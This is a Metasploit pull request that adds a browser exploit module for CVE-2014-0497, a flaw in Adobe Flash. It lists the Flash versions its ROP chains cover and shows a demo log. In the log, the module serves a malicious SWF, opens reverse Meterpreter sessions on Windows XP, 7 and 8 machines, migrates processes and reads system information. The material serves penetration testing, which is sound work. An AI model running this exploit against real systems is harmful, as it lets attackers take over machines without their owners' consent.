rapid7/metasploit-framework — pull request #3333 by jvazquez-r7 (2014-05-04 01:11:23+00:00)
Title: Add module for CVE-2014-0497

Tested on Adobe Flash Player 11.7.700.202 on Windows XP SP3 / IE6 and Windows 7 SP1 / IE8 and Adobe Flash Player 11.3.372.94 on Windows 8 Enterprise /IE10 (everything with x86).

Even when the module includes the same rop chains exploited in the wild:

*Prior to Win 8
11,0,1,152,
11,1,102,55, 11,1,102,62, 11,1,102,63
11,2,202,228, 11,2,202,233, 11,2,202,235
11,3,300,257, 11,3,300,273
11,4,402,278
11,5,502,110, 11,5,502,135, 11,5,502,146, 11,5,502,149
11,6,602,168, 11,6,602,171, 11,6,602,180,
11,7,700,169, 11,7,700,202
11,8,800,97, 11,8,800,50

* Windows 8

11,3,372,94, win 11,3,375,10, 11,3,376,12, 11,3,377,15, 11,3,378,5, 11,3,379,14,
win 11,6,602,167, 11,6,602,171 ,11,6,602,180,
11,7,700,169, 11,7,700,202, 11,7,700,224,

Verification
---------------

- [ ] Install a testing environment like the ones described above.
- [ ] Run the module, visit the link from the vulnerable machine, hopefully enjoy sessions! (see demo)

DEMO
--------

```
msf > use exploit/windows/browser/adobe_flash_avm2
msf exploit(adobe_flash_avm2) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444
[*] Using URL: http://0.0.0.0:8080/Hs3ZeeQ9POCL
[*] Local IP: http://192.168.0.3:8080/Hs3ZeeQ9POCL
[*] Server started.
msf exploit(adobe_flash_avm2) > [*] 192.168.0.3 adobe_flash_avm2 - Gathering target information.
[*] 192.168.0.3 adobe_flash_avm2 - Sending response HTML.
[*] 192.168.0.3 adobe_flash_avm2 - Request: /Hs3ZeeQ9POCL/FGUZwy/
[*] 192.168.0.3 adobe_flash_avm2 - Sending HTML...
[*] 192.168.0.3 adobe_flash_avm2 - Request: /Hs3ZeeQ9POCL/FGUZwy/CcZdfl.swf
[*] 192.168.0.3 adobe_flash_avm2 - Sending SWF...
[*] Sending stage (770048 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.3:60438) at 2014-05-03 19:53:02 -0500
[*] Session ID 1 (192.168.0.3:4444 -> 192.168.0.3:60438) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (2492)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2816
[+] Successfully migrated to process

msf exploit(adobe_flash_avm2) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.131 - Meterpreter session 1 closed. Reason: User exit
msf exploit(adobe_flash_avm2) >
[*] 192.168.0.3 adobe_flash_avm2 - Gathering target information.
[*] 192.168.0.3 adobe_flash_avm2 - Sending response HTML.
[*] 192.168.0.3 adobe_flash_avm2 - Request: /Hs3ZeeQ9POCL/FGUZwy/
[*] 192.168.0.3 adobe_flash_avm2 - Sending HTML...
[*] 192.168.0.3 adobe_flash_avm2 - Request: /Hs3ZeeQ9POCL/FGUZwy/HvjcO.swf
[*] 192.168.0.3 adobe_flash_avm2 - Sending SWF...
[*] Sending stage (770048 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.3:60441) at 2014-05-03 19:53:49 -0500
[*] Session ID 2 (192.168.0.3:4444 -> 192.168.0.3:60441) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (248)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2768
[+] Successfully migrated to process

msf exploit(adobe_flash_avm2) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: WIN-RGNTBKN86Q9\juan
meterpreter > sysinfo
Computer : WIN-RGNTBKN86Q9
OS : Windows 8 (Build 9200).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.144 - Meterpreter session 2 closed. Reason: User exit
msf exploit(adobe_flash_avm2) >
[*] 192.168.0.3 adobe_flash_avm2 - Gathering target information.
[*] 192.168.0.3 adobe_flash_avm2 - Sending response HTML.
[*] 192.168.0.3 adobe_flash_avm2 - Request: /Hs3ZeeQ9POCL/FGUZwy/
[*] 192.168.0.3 adobe_flash_avm2 - Sending HTML...
[*] 192.168.0.3 adobe_flash_avm2 - Request: /Hs3ZeeQ9POCL/FGUZwy/TjaZza.swf
[*] 192.168.0.3 adobe_flash_avm2 - Sending SWF...
[*] Sending stage (770048 bytes) to 192.168.0.3
[*] Meterpreter session 3 opened (192.168.0.3:4444 -> 192.168.0.3:60446) at 2014-05-03 19:54:56 -0500
[*] Session ID 3 (192.168.0.3:4444 -> 192.168.0.3:60446) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3752)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3684
[*] Sending stage (770048 bytes) to 192.168.0.3
[+] Successfully migrated to process
[*] Meterpreter session 4 opened (192.168.0.3:4444 -> 192.168.0.3:60449) at 2014-05-03 19:55:02 -0500
[*] Session ID 4 (192.168.0.3:4444 -> 192.168.0.3:60449) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3624)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2480
[+] Successfully migrated to process

msf exploit(adobe_flash_avm2) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
```